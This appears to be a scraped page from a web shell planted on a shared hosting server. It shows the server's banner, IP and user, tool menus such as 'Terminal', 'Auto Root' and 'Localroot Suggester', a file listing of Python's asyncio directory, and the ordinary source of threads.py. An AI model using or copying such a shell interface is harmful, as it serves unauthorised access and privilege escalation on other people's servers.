Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.216.105
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib64 /
python3.9 /
asyncio /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2026-04-11 11:45
__init__.py
1.25
KB
-rw-r--r--
2025-10-31 18:40
__main__.py
3.3
KB
-rw-r--r--
2025-10-31 18:40
base_events.py
72.45
KB
-rw-r--r--
2025-10-31 18:40
base_futures.py
2.51
KB
-rw-r--r--
2025-10-31 18:40
base_subprocess.py
8.64
KB
-rw-r--r--
2025-10-31 18:40
base_tasks.py
2.41
KB
-rw-r--r--
2025-10-31 18:40
constants.py
888
B
-rw-r--r--
2025-10-31 18:40
coroutines.py
8.59
KB
-rw-r--r--
2025-10-31 18:40
events.py
25.83
KB
-rw-r--r--
2025-10-31 18:40
exceptions.py
1.59
KB
-rw-r--r--
2025-10-31 18:40
format_helpers.py
2.35
KB
-rw-r--r--
2025-10-31 18:40
futures.py
13.71
KB
-rw-r--r--
2025-10-31 18:40
locks.py
14.83
KB
-rw-r--r--
2025-10-31 18:40
log.py
124
B
-rw-r--r--
2025-10-31 18:40
proactor_events.py
31.39
KB
-rw-r--r--
2025-10-31 18:40
protocols.py
6.79
KB
-rw-r--r--
2025-10-31 18:40
queues.py
8.11
KB
-rw-r--r--
2025-10-31 18:40
runners.py
2.08
KB
-rw-r--r--
2025-10-31 18:40
selector_events.py
38.57
KB
-rw-r--r--
2025-10-31 18:40
sslproto.py
26.82
KB
-rw-r--r--
2025-10-31 18:40
staggered.py
5.85
KB
-rw-r--r--
2025-10-31 18:40
streams.py
26.03
KB
-rw-r--r--
2025-10-31 18:40
subprocess.py
7.88
KB
-rw-r--r--
2025-10-31 18:40
tasks.py
33.61
KB
-rw-r--r--
2025-10-31 18:40
threads.py
790
B
-rw-r--r--
2025-10-31 18:40
transports.py
10.47
KB
-rw-r--r--
2025-10-31 18:40
trsock.py
5.74
KB
-rw-r--r--
2025-10-31 18:40
unix_events.py
50.54
KB
-rw-r--r--
2025-10-31 18:40
windows_events.py
32.28
KB
-rw-r--r--
2025-10-31 18:40
windows_utils.py
4.94
KB
-rw-r--r--
2025-10-31 18:40
Save
Rename
"""High-level support for working with threads in asyncio""" import functools import contextvars from . import events __all__ = "to_thread", async def to_thread(func, /, *args, **kwargs): """Asynchronously run function *func* in a separate thread. Any *args and **kwargs supplied for this function are directly passed to *func*. Also, the current :class:`contextvars.Context` is propagated, allowing context variables from the main thread to be accessed in the separate thread. Return a coroutine that can be awaited to get the eventual result of *func*. """ loop = events.get_running_loop() ctx = contextvars.copy_context() func_call = functools.partial(ctx.run, func, *args, **kwargs) return await loop.run_in_executor(None, func_call)